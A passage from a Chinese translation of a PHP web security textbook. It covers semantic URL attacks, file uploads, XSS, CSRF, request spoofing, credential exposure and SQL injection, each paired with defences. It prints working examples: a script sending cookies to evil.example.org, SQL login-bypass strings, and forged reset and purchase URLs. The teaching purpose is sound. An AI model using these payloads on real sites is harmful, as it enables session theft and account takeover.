value="chris" /> <p>Please specify the email address where you want your new password sent:</p> <input type="text" name="email" /><br /> <input type="submit" value="Send Password" /> </form> 可以看出,接收脚本 reset.php 会得到所有信息,包括重置哪个帐号的密码、 并给出将新密码发送到哪一个邮件地址。 如果一个用户能看到上面的表单(在回答正确问题后),你有理由认为他是 chris 帐号的合法拥有者。如果他提供了 chris@example.org 作为备用邮件地址, 在提交后他将进入下面的 URL: http://example.org/reset.php?user=chris&email=chris%40example.org 该 URL 出现在浏览器栏中,所以任何一位进行到这一步的用户都能够方便 地看出其中的 user 和 mail 变量的作用。当意思到这一点后,这位用户就想到 php@example.org 是一个非常酷的地址,于是他就会访问下面链接进行尝试: http://example.org/reset.php?user=php&email=chris%40example.org 如果 reset.php 信任了用户提供的这些信息,这就是一个语义 URL 攻击漏洞。 在此情况下,系统将会为 php 帐号产生一个新密码并发送至 chris@example.org, 这样 chris 成功地窃取了 php 帐号。 如果使用 session 跟踪,可以很方便地避免上述情况的发生: <?php session_start(); $clean = array(); $email_pattern = '/^[^@\s<&>]+@([-a-z0-9]+\.)+[a-z]{2,}$/i'; if (preg_match($email_pattern, $_POST['email'])) { $clean['email'] = $_POST['email']; $user = $_SESSION['user']; 《PHP 安全基础详解》 www.528163.cn 提供 $new_password = md5(uniqid(rand(), TRUE)); if ($_SESSION['verified']) { /* Update Password */ mail($clean['email'], 'Your New Password', $new_password); } } ?> 尽管上例省略了一些细节(如更详细的 email 信息或一个合理的密码),但 它示范了对用户提供的帐户不加以信任,同时更重要的是使用 session 变量为保 存用户是否正确回答了问题($_SESSION['verified']),以及正确回答问题的用户 ($_SESSION['user'])。正是这种不信任的做法是防止你的应用产生漏洞的关键。 这个实例并不是完全虚构的。它是从 2003 年 5 月发现的 Microsoft Passport 的漏洞中得到的灵感。请访问 http://slashdot.org/article.pl?sid=03/05/08/122208 看 具体实例、讨论及其它信息。 2.3. 文件上传攻击 文件上传攻击 文件上传攻击 文件上传攻击 有时在除了标准的表单数据外,你还需要让用户进行文件上传。由于文件在 表单中传送时与其它的表单数据不同,你必须指定一个特别的编码方式 multipart/form-data: <form action="upload.php" method="POST" enctype="multipart/form-data"> 一个同时有普通表单数据和文件的表单是一个特殊的格式,而指定编码方式 可以使浏览器能按该可格式的要求去处理。 允许用户进行选择文件并上传的表单元素是很简单的: <input type="file" name="attachment" /> 该元素在各种浏览器中的外观表现形式各有不同。传统上,界面上包括一个 标准的文本框及一个浏览按钮,以使用户能直接手工录入文件的路径或通过浏览 选择。在 Safari 浏览器中只有浏览按钮。幸运的是,它们的作用与行为是相同的。 为了更好地演示文件上传机制,下面是一个允许用户上传附件的例子: 《PHP 安全基础详解》 www.528163.cn 提供 <form action="upload.php" method="POST" enctype="multipart/form-data"> <p>Please choose a file to upload: <input type="hidden" name="MAX_FILE_SIZE" value="1024" /> <input type="file" name="attachment" /><br /> <input type="submit" value="Upload Attachment" /></p> </form> 隐藏的表单变量 MAX_FILE_SIZE 告诉了浏览器最大允许上传的文件大小。 与很多客户端限制相同,这一限制很容易被攻击者绕开,但它可以为合法用户提 供向导。在服务器上进行该限制才是可靠的。 PHP 的配置变量中,upload_max_filesize 控制最大允许上传的文件大小。同 时 post_max_size(POST 表单的最大提交数据的大小)也能潜在地进行控制,因 为文件是通过表单数据进行上传的。 接收程序 upload.php 显示了超级全局数组$_FILES 的内容: <?php header('Content-Type: text/plain'); print_r($_FILES); ?> 为了理解上传的过程,我们使用一个名为 author.txt 的文件进行测试,下面 是它的内容: Chris Shiflett http://shiflett.org/ 当你上传该文件到 upload.php 程序时,你可以在浏览器中看到类似下面的输 出: Array ( [attachment] => Array ( [name] => author.txt [type] => text/plain [tmp_name] => /tmp/phpShfltt [error] => 0 [size] => 36 ) 《PHP 安全基础详解》 www.528163.cn 提供 ) 虽然从上面可以看出 PHP 实际在超级全局数组$_FILES 中提供的内容,但 是它无法给出表单数据的原始信息。作为一个关注安全的开发者,需要识别输入 以知道浏览器实际发送了什么,看一下下面的 HTTP 请求信息是很有必要的: POST /upload.php HTTP/1.1 Host: example.org Content-Type: multipart/form-data; boundary=----------12345 Content-Length: 245 ----------12345 Content-Disposition: form-data; name="attachment"; filename="author.txt" Content-Type: text/plain Chris Shiflett http://shiflett.org/ ----------12345 Content-Disposition: form-data; name="MAX_FILE_SIZE" 1024 ----------12345-- 虽然你没有必要理解请求的格式,但是你要能识别出文件及相关的元数据。 用户只提供了名称与类型,因此 tmp_name,error 及 size 都是 PHP 所提供的。 由于 PHP 在文件系统的临时文件区保存上传的文件(本例中是 /tmp/phpShfltt),所以通常进行的操作是把它移到其它地方进行保存及读取到内 存。如果你不对 tmp_name 作检查以确保它是一个上传的文件(而不是/etc/passwd 之类的东西),存在一个理论上的风险。之所以叫理论上的风险,是因为没有一 种已知的攻击手段允许攻击者去修改 tmp_name 的值。但是,没有攻击手段并不 意味着你不需要做一些简单的安全措施。新的攻击手段每天在出现,而简单的一 个步骤能保护你的系统。 PHP 提供了两个方便的函数以减轻这些理论上的风险:is_uploaded_file( ) and move_uploaded_file( )。如果你需要确保 tmp_name 中的文件是一个上传的文 件,你可以用 is_uploaded_file( ): <?php $filename = $_FILES['attachment']['tmp_name']; if (is_uploaded_file($filename)) { 《PHP 安全基础详解》 www.528163.cn 提供 /* $_FILES['attachment']['tmp_name'] is an uploaded file. */ } ?> 如果你希望只把上传的文件移到一个固定位置,你可以使用 move_uploaded_file( ): <?php $old_filename = $_FILES['attachment']['tmp_name']; $new_filename = '/path/to/attachment.txt'; if (move_uploaded_file($old_filename, $new_filename)) { /* $old_filename is an uploaded file, and the move was successful. */ } ?> 最后你可以用 filesize( ) 来校验文件的大小: <?php $filename = $_FILES['attachment']['tmp_name']; if (is_uploaded_file($filename)) { $size = filesize($filename); } ?> 这些安全措施的目的是加上一层额外的安全保护层。最佳的方法是永远尽可 能少地去信任。 2.4. 跨站脚本攻击 跨站脚本攻击 跨站脚本攻击 跨站脚本攻击 跨站脚本攻击是众所周知的攻击方式之一。所有平台上的 Web 应用都深受 其扰,PHP 应用也不例外。 所有有输入的应用都面临着风险。Webmail,论坛,留言本,甚至是 Blog。 事实上,大多数 Web 应用提供输入是出于更吸引人气的目的,但同时这也会把 自己置于危险之中。如果输入没有正确地进行过滤和转义,跨站脚本漏洞就产生 了。 以一个允许在每个页面上录入评论的应用为例,它使用了下面的表单帮助用 户进行提交: <form action="comment.php" method="POST" /> <p>Name: <input type="text" name="name" /><br /> Comment: <textarea name="comment" rows="10" cols="60"></textarea><br /> 《PHP 安全基础详解》 www.528163.cn 提供 <input type="submit" value="Add Comment" /></p> </form> 程序向其他访问该页面的用户显示评论。例如,类似下面的代码段可能被用 来输出一个评论($comment)及与之对应的发表人($name): <?php echo "<p>$name writes:<br />"; echo "<blockquote>$comment</blockquote></p>"; ?> 这个流程对$comment 及$name 的值给予了充分的信任,想象一下它们中的 一个的内容中包含如下代码: <script> document.location = 'http://evil.example.org/steal.php?cookies=' + document.cookie </script> 如果你的用户察看这个评论时,这与你允许别人在你的网站源程序中加入 Javascript 代码无异。你的用户会在不知不觉中把他们的 cookies(浏览网站的人) 发送到 evil.example.org,而接收程序(steal.php)可以通过$_GET['cookies']变量防 问所有的 cookies。 这是一个常见的错误,主要是由于不好的编程习惯引发的。幸运的是此类错 误很容易避免。由于这种风险只在你输出了被污染数据时发生,所以只要确保做 到如第一章所述的过滤输入及转义输出即可 最起码你要用 htmlentities( )对任何你要输出到客户端的数据进行转义。该函 数可以把所有的特殊字符转换成 HTML 表示方式。所有会引起浏览器进行特殊 处理的字符在进行了转换后,就能确保显示出来的是原来录入的内容。 由此,用下面的代码来显示评论是更安全的: <?php $clean = array(); $html = array(); /* Filter Input ($name, $comment) */ $html['name'] = htmlentities($clean['name'], ENT_QUOTES, 'UTF-8'); $html['comment'] = htmlentities($clean['comment'], ENT_QUOTES, 'UTF-8'); echo "<p>{$html['name']} writes:<br />"; echo "<blockquote>{$html['comment']}</blockquote></p>"; 《PHP 安全基础详解》 www.528163.cn 提供 ?> 2.5. 跨站请求伪造 跨站请求伪造 跨站请求伪造 跨站请求伪造 跨站请求伪造(CSRF)是一种允许攻击者通过受害者发送任意 HTTP 请求的 一类攻击方法。此处所指的受害者是一个不知情的同谋,所有的伪造请求都由他 发起,而不是攻击者。这样,很你就很难确定哪些请求是属于跨站请求伪造攻击。 事实上,如果没有对跨站请求伪造攻击进行特意防范的话,你的应用很有可能是 有漏洞的。 请看下面一个简单的应用,它允许用户购买钢笔或铅笔。界面上包含下面的 表单: <form action="buy.php" method="POST"> <p> Item: <select name="item"> <option name="pen">pen</option> <option name="pencil">pencil</option> </select><br /> Quantity: <input type="text" name="quantity" /><br /> <input type="submit" value="Buy" /> </p> </form> 一个攻击者会首先使用你的应用以收集一些基本信息。例如,攻击者首先访 问表单并发现两个表单元素 item 及 quantity,他也同时知道了 item 的值会是铅笔 或是钢笔。 下面的 buy.php 程序处理表单的提交信息: <?php session_start(); $clean = array(); if (isset($_REQUEST['item'] && isset($_REQUEST['quantity'])) { /* Filter Input ($_REQUEST['item'], $_REQUEST['quantity']) */ if (buy_item($clean['item'], $clean['quantity'])) { echo '<p>Thanks for your purchase.</p>'; } else { echo '<p>There was a problem with your order.</p>'; 《PHP 安全基础详解》 www.528163.cn 提供 } } ?> 攻击者会首先使用这个表单来观察它的动作。例如,在购买了一支铅笔后, 攻击者知道了在购买成功后会出现感谢信息。注意到这一点后,攻击者会尝试通 过访问下面的 URL 以用 GET 方式提交数据是否能达到同样的目的: http://store.example.org/buy.php?item=pen&quantity=1 如果能成功的话,攻击者现在就取得了当合法用户访问时,可以引发购买的 URL 格式。在这种情况下,进行跨站请求伪造攻击非常容易,因为攻击者只要 引发受害者访问该 URL 即可。 虽然有多种发起跨站请求伪造攻击的方式,但是使用嵌入资源如图片的方式 是最普遍的。为了理解这个攻击的过程,首先有必要了解浏览器请求这些资源的 方式。 当你访问 http://www.google.com (图 2-1),你的浏览器首先会请求这个 URL 所标识的资源。你可以通过查看该页的源文件(HTML)的方式来看到该请求的 返回内容。在浏览器解析了返回内容后发现了 Google 的标志图片。这个图片是 以 HTML 的 img 标签表示的,该标签的 src 属性表示了图片的 URL。浏览器于 是再发出对该图片的请求,以上这两次请求间的不同点只是 URL 的不同。 图 2-1. Google 的首页 A CSRF attack can use an img tag to leverage this behavior. Consider visiting a web site with the following image identified in the source: 根据上面的原理,跨站请求伪造攻击可以通过 img 标签来实现。考虑一下如 果访问包括下面的源代码的网页会发生什么情况: 由于 buy.php 脚本使用$_REQUEST 而不是$_POST,这样每一个只要是登录 在 store.example.org 商店上的用户就会通过请求该 URL 购买 50 支铅笔。 跨站请求伪造攻击的存在是不推荐使用$_REQUEST 的原因之一。 完整的攻击过程见图 2-2。 图 2-2. 通过图片引发的跨站请求伪造攻击 当请求一个图片时,某些浏览器会改变请求头部的 Accept 值以给图片类型 以一个更高的优先权。需要采用保护措施以防止这种情况的发生。 《PHP 安全基础详解》 www.528163.cn 提供 你需要用几个步骤来减轻跨站请求伪造攻击的风险。一般的步骤包括使用 POST 方式而不是使用 GET 来提交表单,在处理表单提交时使用$_POST 而不是 $_REQUEST,同时需要在重要操作时进行验证(越是方便,风险越大,你需要 求得方便与风险之间的平衡)。 任何需要进行操作的表单都要使用 POST 方式。在 RFC 2616(HTTP/1.1 传送 协议,译注)的 9.1.1 小节中有一段描述: “特别需要指出的是,习惯上 GET 与 HEAD 方式不应该用于引发一个操作, 而只是用于获取信息。这些方式应该被认为是‘安全’的。客户浏览器应以特殊 的方式,如 POST,PUT 或 DELETE 方式来使用户意识到正在请求进行的操作 可能是不安全的。” 最重要的一点是你要做到能强制使用你自己的表单进行提交。尽管用户提交 的数据看起来象是你表单的提交结果,但如果用户并不是在最近调用的表单,这 就比较可疑了。请看下面对前例应用更改后的代码: <?php session_start(); $token = md5(uniqid(rand(), TRUE)); $_SESSION['token'] = $token; $_SESSION['token_time'] = time(); ?> <form action="buy.php" method="POST"> <input type="hidden" name="token" value="<?php echo $token; ?>" /> <p> Item: <select name="item"> <option name="pen">pen</option> <option name="pencil">pencil</option> </select><br /> Quantity: <input type="text" name="quantity" /><br /> <input type="submit" value="Buy" /> </p> </form> 通过这些简单的修改,一个跨站请求伪造攻击就必须包括一个合法的验证码 以完全模仿表单提交。由于验证码的保存在用户的 session 中的,攻击者必须对 每个受害者使用不同的验证码。这样就有效的限制了对一个用户的任何攻击,它 要求攻击者获取另外一个用户的合法验证码。使用你自己的验证码来伪造另外一 个用户的请求是无效的。 《PHP 安全基础详解》 www.528163.cn 提供 该验证码可以简单地通过一个条件表达式来进行检查: <?php if (isset($_SESSION['token']) && $_POST['token'] == $_SESSION['token']) { /* Valid Token */ } ?> 你还能对验证码加上一个有效时间限制,如 5 分钟: <?php $token_age = time() - $_SESSION['token_time']; if ($token_age <= 300) { /* Less than five minutes has passed. */ } ?> 通过在你的表单中包括验证码,你事实上已经消除了跨站请求伪造攻击的风 险。可以在任何需要执行操作的任何表单中使用这个流程。 尽管我使用 img 标签描述了攻击方法,但跨站请求伪造攻击只是一个总称, 它是指所有攻击者通过伪造他人的 HTTP 请求进行攻击的类型。已知的攻击方法 同时包括对 GET 和 POST 的攻击,所以不要认为只要严格地只使用 POST 方式 就行了。 2.6. 欺骗表单提交 欺骗表单提交 欺骗表单提交 欺骗表单提交 制造一个欺骗表单几乎与假造一个 URL 一样简单。毕竟,表单的提交只是 浏览器发出的一个 HTTP 请求而已。请求的部分格式取决于表单,某些请求中的 数据来自于用户。 大多数表单用一个相对 URL 地址来指定 action 属性: 当表单提交时,浏览器会请求 action 中指定的 URL,同时它使用当前的 URL 地址来定位相对 URL。例如,如果之前的表单是对 http://example.org/path/to/form.php 请求的回应所产生的,则在用户提交表单后会 请求 URL 地址 http://example.org/path/to/process.php。 知道了这一点,很容易就能想到你可以指定一个绝对地址,这样表单就可以 放在任何地方了: 《PHP 安全基础详解》 www.528163.cn 提供 这个表单可以放在任何地方,并且使用这个表单产生的提交与原始表单产生 的提交是相同的。意识到这一点,攻击者可以通过查看页面源文件并保存在他的 服务器上,同时将 action 更改为绝对 URL 地址。通过使用这些手段,攻击者可 以任意更改表单,如取消最大字段长度限制,取消本地验证代码,更改隐藏字段 的值,或者出于更加灵活的目的而改写元素类型。这些更改帮助攻击者向服务器 提交任何数据,同时由于这个过程非常简便易行,攻击者无需是一个专家即可做 到。 欺骗表单攻击是不能防止的,尽管这看起来有点奇怪,但事实上如此。不过 这你不需要担心。一旦你正确地过滤了输入,用户就必须要遵守你的规则,这与 他们如何提交无关。 如果你试验这个技巧时,你可能会注意到大多数浏览器会在 HTTP 头部包括 一个 Referer 信息以标识前一个页面的地址。在本例中,Referer 的值是表单的 URL 地址。请不要被它所迷惑而用它来区分你的表单提交还是欺骗表单提交。 在下一节的演示中,可以看到 HTTP 头部的也是非常容易假造的,而使用 Referer 来判定的方式又是众所周知的。 2.7. HTTP 请求欺骗 请求欺骗 请求欺骗 请求欺骗 一个比欺骗表单更高级和复杂的攻击方式是 HTTP 请求欺骗。这给了攻击者 完全的控制权与灵活性,它进一步证明了不能盲目信任用户提交的任何数据。 为了演示这是如何进行的,请看下面位于 http://example.org/form.php的表单: <form action="process.php" method="POST"> <p>Please select a color: <select name="color"> <option value="red">Red</option> <option value="green">Green</option> <option value="blue">Blue</option> </select><br /> <input type="submit" value="Select" /></p> </form> 如果用户选择了 Red 并点击了 Select 按钮后,浏览器会发出下面的 HTTP 请求: POST /process.php HTTP/1.1 Host: example.org User-Agent: Mozilla/5.0 (X11; U; Linux i686) Referer: http://example.org/form.php 《PHP 安全基础详解》 www.528163.cn 提供 Content-Type: application/x-www-form-urlencoded Content-Length: 9 color=red . 看到大多数浏览器会包含一个来源的 URL 值,你可能会试图使用 $_SERVER['HTTP_REFERER']变量去防止欺骗。确实,这可以用于对付利用标 准浏览器发起的攻击,但攻击者是不会被这个小麻烦给挡住的。通过编辑 HTTP 请求的原始信息,攻击者可以完全控制 HTTP 头部的值,GET 和 POST 的数据, 以及所有在 HTTP 请求的内容。 攻击者如何更改原始的 HTTP 请求?过程非常简单。通过在大多数系统平台 上都提供的 Telnet 实用程序,你就可以通过连接网站服务器的侦听端口(典型的 端口为 80)来与 Web 服务器直接通信。下面就是使用这个技巧请求 http://example.org/页面的例子: $ telnet example.org 80 Trying 192.0.34.166... Connected to example.org (192.0.34.166). Escape character is '^]'. GET / HTTP/1.1 Host: example.org HTTP/1.1 200 OK Date: Sat, 21 May 2005 12:34:56 GMT Server: Apache/1.3.31 (Unix) Accept-Ranges: bytes Content-Length: 410 Connection: close Content-Type: text/html <html> <head> <title>Example Web Page</title> </head> <body> <p>You have reached this web page by typing "example.com", "example.net", or "example.org" into your web browser.</p> <p>These domain names are reserved for use in documentation and are not available for registration. See <a href="http://www.rfc-editor.org/rfc/rfc2606.txt">RFC 2606</a>, Section 3.</p> </body> </html> Connection closed by foreign host. $ 《PHP 安全基础详解》 www.528163.cn 提供 上例中所显示的请求是符合 HTTP/1.1 规范的最简单的请求,这是因为 Host 信息是头部信息中所必须有的。一旦你输入了表示请求结束的连续两个换行符, 整个 HTML 的回应即显示在屏幕上。 Telnet 实用程序不是与 Web 服务器直接通信的唯一方法,但它常常是最方便 的。可是如果你用 PHP 编码同样的请求,你可以就可以实现自动操作了。前面 的请求可以用下面的 PHP 代码实现: <?php $http_response = ''; $fp = fsockopen('example.org', 80); fputs($fp, "GET / HTTP/1.1\r\n"); fputs($fp, "Host: example.org\r\n\r\n"); while (!feof($fp)) { $http_response .= fgets($fp, 128); } fclose($fp); echo nl2br(htmlentities($http_response, ENT_QUOTES, 'UTF-8')); ?> 当然,还有很多方法去达到上面的目的,但其要点是 HTTP 是一个广为人知 的标准协议,稍有经验的攻击者都会对它非常熟悉,并且对常见的安全漏洞的攻 击方法也很熟悉。 相对于欺骗表单,欺骗 HTTP 请求的做法并不多,对它不应该关注。我讲述 这些技巧的原因是为了更好的演示一个攻击者在向你的应用输入恶意信息时是 如何地方便。这再次强调了过滤输入的重要性和 HTTP 请求提供的任何信息都是 不可信的这个事实。 第三章 第三章 第三章 第三章 数 数 数 数据库及 据库及 据库及 据库及 SQL PHP 的作用常常是沟通各种数据源及用户的桥梁。事实上,有些人认为 PHP 更像是一个平台而不是一个编程语言。基于这些原因,PHP 频繁用于与数据库的 交流。 PHP 可以很好的胜任这个任务,其原因特别是由于它能与很多种数据库连 接。下面列举了 PHP 支持的小部分数据库: DB2 ODBC 《PHP 安全基础详解》 www.528163.cn 提供 SQLite InterBase Oracle Sybase MySQL PostgreSQL DBM 与任何的远程数据存储方式相同,数据库本身也存在着一些风险。尽管数据 库安全不是本书讨论的问题,但数据库安全是需要时刻注意的,特别是关于如何 对待从数据库读取作为输入的数据的问题。 正如第一章所讨论的,所有输入必需要进行过滤,同时所有的输出必须要转 义。当处理数据库时,意味着所有来自数据库的数据要过滤,所有写入数据库的 数据要进行转义。 小提示 常犯的错误是忘记了 SELECT 语句本身是向数据库传送的数据。尽管该语 句的目的是取得数据,但语句本身则是输出。 很多 PHP 开发人员不会去过滤来自数据库的数据,他们认为数据库内保存 的是已过滤的数据。虽然这种做法的安全风险是很小的,但是这不是最好的做法, 同时我也不推荐这样做。这种做法是基于对数据库安全的绝对信任,但同时违反 了深度防范的原则。如果恶意数据由于某些原因被注入了数据库,如果你有过滤 机制的话,就能发现并抓住它。请记住,冗余的安全措施是有价值的,这就是一 个很好的例子。 本章包括了其它几个需要关心的主题,包括访问权限暴露及 SQL 注入。SQL 注入是需要特别关注的,这是因为在流行的 PHP 应用中频繁发现了 SQL 注入漏 洞。 3.1. 访问权限暴露 访问权限暴露 访问权限暴露 访问权限暴露 数据库使用中需要关注的主要问题之一是访问权限即用户名及密码的暴露。 在编程中为了方便,一般都会用一个 db.inc 文件保存,如: <?php $db_user = 'myuser'; $db_pass = 'mypass'; $db_host = '127.0.0.1'; $db = mysql_connect($db_host, $db_user, $db_pass); ?> 《PHP 安全基础详解》 www.528163.cn 提供 用户名及密码都是敏感数据,是需要特别注意的。他们被写在源码中造成了 风险,但这是一个无法避免的问题。如果不这么做,你的数据库就无法设置用户 名和密码进行保护了。 如果你读过 http.conf(Apache 的配置文件)的默认版本的话,你会发现默 认的文件类型是 text/plain(普通文本)。这样,如果 db.inc 这样的文件被保存在 网站根目录下时,就引发了风险。所有位于网站根目录下的资源都有相应的 URL,由于 Apache 没有定义对.inc 后缀的文件的处理方式类型,在对这一类文 件进行访问时,会以普通文本的类型进行返回(默认类型),这样访问权限就被 暴露在客户的浏览器上了。 为了进一步说明这个风险,考虑一下一个以/www 为网站根目录的服务器, 如果 db.inc 被保存在/www/inc,它有了一个自已的 URLhttp://example.org/inc/db.inc(假设 example.org 是主机域名)。通过访问该 URL 就可以看到 db.inc 以文本方式显示的源文件。无论你把该文件保存在/www 哪个 子目录下,都无法避免访问权限暴露的风险。 对这个问题最好的解决方案是把它保存在网站根目录以外的包含目录中。你 无需为了达到包含它们的目的而把它们放至在文件系统中的特定位置,所有只要 做的只是保证 Web 服务器对其有读取权限。因此,把它们放在网站根目录下是 没有必要的风险,只要包含文件还位于网站根目录下,任何减少风险的努力都是 徒劳的。事实上,你只要把必须要通过 URL 访问的资源放置在网站根目录下即 可。毕竟这是一个公共的目录。 前面的话题对于 SQLite 数据库也有用。把数据库保存在当前目录下是非常 方便的,因为你只要调用文件名而无需指定路径。但是,把数据库保存在网站根 目录下就代表着不必要的风险。如果你没有采用安全措施防止直接访问的话,你 的数据库就危险了。 如果由于外部因素导致无法做到把所有包含文件放在网站根目录之外,你可 以在 Apache 配置成拒绝对.inc 资源的请求。 <Files ~ "\.inc$"> Order allow,deny Deny from all </Files> 译注:如果只是因为要举个例子而这么写的话,可以理解,毕竟大家学到了 一些手段,但这个例子未免生硬了一点。实际上只要把该文件更名为 db.inc.php 就可以了。就好象房子破了个洞而不去修补,却在外面去造一个更大的房子把破 房子套起来一样。 在第 8 章中你还可以看到另外一种防止数据库访问权限暴露的方法,该方法 《PHP 安全基础详解》 www.528163.cn 提供 对于共享服务器环境(在该环境下尽管文件位于网站根目录之外,但依然存在暴 露的风险)非常有效。 3.2. SQL 注入 注入 注入 注入 SQL 注入是 PHP 应用中最常见的漏洞之一。事实上令人惊奇的是,开发者 要同时犯两个错误才会引发一个 SQL 注入漏洞,一个是没有对输入的数据进行 过滤(过滤输入),还有一个是没有对发送到数据库的数据进行转义(转义输出)。 这两个重要的步骤缺一不可,需要同时加以特别关注以减少程序错误。 对于攻击者来说,进行 SQL 注入攻击需要思考和试验,对数据库方案进行 有根有据的推理非常有必要(当然假设攻击者看不到你的源程序和数据库方案), 考虑以下简单的登录表单: CODE: <form action="/login.php" method=";POST"> <p>Username: <input type="text" name="username" /></p> <p>;Password: <input type="password" name="password" /></p> <p><input type="submit" value="Log In" /></p> </form> 图 3-1 给出了该表单在浏览器中的显示。 作为一个攻击者,他会从推测验证用户名和密码的查询语句开始。通过查看 源文件,他就能开始猜测你的习惯。 图 3-1. 登录表单在浏览器中的显示 命名习惯。通常会假设你表单中的字段名为与数据表中的字段名相同。当然, 确保它们不同未必是一个可靠的安全措施。 第一次猜测,一般会使用下面例子中的查询: CODE: <?php $password_hash = md5($_POST['password']); $sql = "SELECT count(*) FROM users WHERE username = '{$_POST['username']}' AND password = '$password_hash'"; ?> 使用用户密码的 MD5 值原来是一个通行的做法,但现在并不是特别安全了。 最近的研究表明 MD5 算法有缺陷,而且大量 MD5 数据库降低了 MD5 反向破解 《PHP 安全基础详解》 www.528163.cn 提供 的难度。请访问 http://md5.rednoize.com/ 查看演示。 译注:原文如此,山东大学教授王小云的研究表明可以很快的找到 MD5 的 “碰撞”,就是可以产生相同的 MD5 值的不同两个文件和字串。MD5 是信息摘 要算法,而不是加密算法,反向破解也就无从谈起了。不过根据这个成果,在上 面的特例中,直接使用 md5 是危险的。 最好的保护方法是在密码上附加一个你自己定义的字符串,例如: <?php $salt = 'SHIFLETT'; $password_hash = md5($salt . md5($_POST['password'] . $salt)); ?> 当然,攻击者未必在第一次就能猜中,他们常常还需要做一些试验。有一个 比较好的试验方式是把单引号作为用户名录入,原因是这样可能会暴露一些重要 信息。有很多开发人员在 Mysql 语句执行出错时会调用函数 mysql_error()来报告 错误。见下面的例子: <?php mysql_query($sql) or exit(mysql_error()); ?> 虽然该方法在开发中十分有用,但它能向攻击者暴露重要信息。如果攻击者 把单引号做为用户名,mypass 做为密码,查询语句就会变成: <?php $sql = "SELECT * FROM users WHERE username = ''' AND password = 'a029d0df84eb5549c641e04a9ef389e5'"; ?> 当该语句发送到 MySQL 后,系统就会显示如下错误信息: You have an error in your SQL syntax. Check the manual that corresponds to your MySQL server version for the right syntax to use near 'WHERE username = ''' AND password = 'a029d0df84eb55 《PHP 安全基础详解》 www.528163.cn 提供 不费吹灰之力,攻击者已经知道了两个字段名(username 和 password)以及他 们出现在查询中的顺序。除此以外,攻击者还知道了数据没有正确进行过滤(程 序没有提示非法用户名)和转义(出现了数据库错误),同时整个 WHERE 条件 的格式也暴露了,这样,攻击者就可以尝试操纵符合查询的记录了。 在这一点上,攻击者有很多选择。一是尝试填入一个特殊的用户名,以使查 询无论用户名密码是否符合,都能得到匹配: myuser' or 'foo' = 'foo' -- 假定将 mypass 作为密码,整个查询就会变成: <?php $sql = "SELECT * FROM users WHERE username = 'myuser' or 'foo' = 'foo' -- AND password = 'a029d0df84eb5549c641e04a9ef389e5'"; ?> 由于中间插入了一个 SQL 注释标记,所以查询语句会在此中断。这就允许 了一个攻击者在不知道任何合法用户名和密码的情况下登录。 如果知道合法的用户名,攻击者就可以该用户(如 chris)身份登录: chris' -- 只要 chris 是合法的用户名,攻击者就可以控制该帐号。原因是查询变成了 下面的样子: <?php $sql = "SELECT * FROM users WHERE username = 'chris' -- AND password = 'a029d0df84eb5549c641e04a9ef389e5'"; ?> 幸运的是,SQL 注入是很容易避免的。正如第一章所提及的,你必须坚持 过滤输入和转义输出。 虽然两个步骤都不能省略,但只要实现其中的一个就能消除大多数的 SQL 注入风险。如果你只是过滤输入而没有转义输出,你很可能会遇到数据库错误(合 法的数据也可能影响 SQL 查询的正确格式),但这也不可靠,合法的数据还可能 《PHP 安全基础详解》 www.528163.cn 提供 改变 SQL 语句的行为。另一方面,如果你转义了输出,而没有过滤输入,就能 保证数据不会影响 SQL 语句的格式,同时也防止了多种常见 SQL 注入攻击的方 法。 当然,还是要坚持同时使用这两个步骤。过滤输入的方式完全取决于输入数 据的类型(见第一章的示例),但转义用于向数据库发送的输出数据只要使用同 一个函数即可。对于 MySQL 用户,可以使用函数 mysql_real_escape_string( ): <?php $clean = array(); $mysql = array(); $clean['last_name'] = "O'Reilly"; $mysql['last_name'] = mysql_real_escape_string($clean['last_name']); $sql = "INSERT INTO user (last_name) VALUES ('{$mysql['last_name']}')"; ?> 尽量使用为你的数据库设计的转义函数。如果没有,使用函数 addslashes( ) 是最终的比较好的方法。 当所有用于建立一个 SQL 语句的数据被正确过滤和转义时,实际上也就避 免了 SQL 注入的风险。 如果你正在使用支持参数化查询语句和占位符的数据库操作类(如 PEAR::DB, PDO 等),你就会多得到一层保护。见下面的使用 PEAR::DB 的例子: <?php $sql = 'INSERT INTO user (last_name) VALUES (?)'; $dbh->query($sql, array($clean['last_name'])); ?> 由于在上例中数据不能直接影响查询语句的格式,SQL 注入的风险就降低 了。PEAR::DB 会自动根据你的数据库的要求进行转义,所以你只需要过滤输出 即可。 如果你正在使用参数化查询语句,输入的内容就只会作为数据来处理。这样 《PHP 安全基础详解》 www.528163.cn 提供 就没有必要进行转义了,尽管你可能认为这是必要的一步(如果你希望坚持转义 输出习惯的话)。实际上,这时是否转义基本上不会产生影响,因为这时没有特 殊字符需要转换。在防止 SQL 注入这一点上,参数化查询语句为你的程序提供 了强大的保护。 译注:关于 SQL 注入,不得不说的是现在大多虚拟主机都会把 magic_quotes_gpc 选项打开,在这种情况下所有的客户端 GET 和 POST 的数据 都会自动进行 addslashes 处理,所以此时对字符串值的 SQL 注入是不可行的, 但要防止对数字值的 SQL 注入,如用 intval()等函数进行处理。但如果你编写的 是通用软件,则需要读取服务器的 magic_quotes_gpc 后进行相应处理。 3.3. 数据的暴露 数据的暴露 数据的暴露 数据的暴露 关于数据库,另外需要关心的一点是敏感数据的暴露。不管你是否保存了信 用卡号,社会保险号,或其它数据,你还是希望确认数据库是安全的。 虽然数据库安全已经超出了本书所讨论的范围(也不是 PHP 开发者要负责 的),但是你可以加密最敏感的数据,这样只要密钥不泄露,数据库的安全问题 就不会造成灾难性的后果。(关于加密的详细介绍参见本书附录 C) 第四章 第四章 第四章 第四章 会话与 会话与 会话与 会话与 Cookies 本章主要讨论会话和有状态的 Web 应用的内在风险。你会首先学习状态、 cookies、与会话;然后我会讨论关于 cookie 盗窃、会话数据暴露、会话固定、 及会话劫持的问题及防范它们的方法。 正如大家知道的,HTTP 是一种无状态的协议。这说明了两个 HTTP 请求之 间缺乏联系。由于协议中未提供任何让客户端标识自己的方法,因此服务器也就 无法区分客户端。 虽然 HTTP 无状态的特性还是有一些好处,毕竟维护状态是比较麻烦的,但 是它向需要开发有状态的 Web 应用的开发人员提出了前所未有的挑战。由于无 法标识客户端,就不可能确认用户是否已登录,在购物车中加入商品,或者是需 要注册。 一个最初由网景公司构思的超强解决方案诞生了,它就是被命名为 cookies 的一种状态管理机制。Cookies 是对 HTTP 协议的扩充。更确切地说,它们由两 个 HTTP 头部组成:Set-Cookie 响应头部和 Cookie 请求头部。 当客户端发出对一个特定 URL 的请求时,服务器会在响应时选择包含一个 《PHP 安全基础详解》 www.528163.cn 提供 Set-Cookie 头部。它要求客户端在下面的请求中包含一个相就的 Cookie 头部。 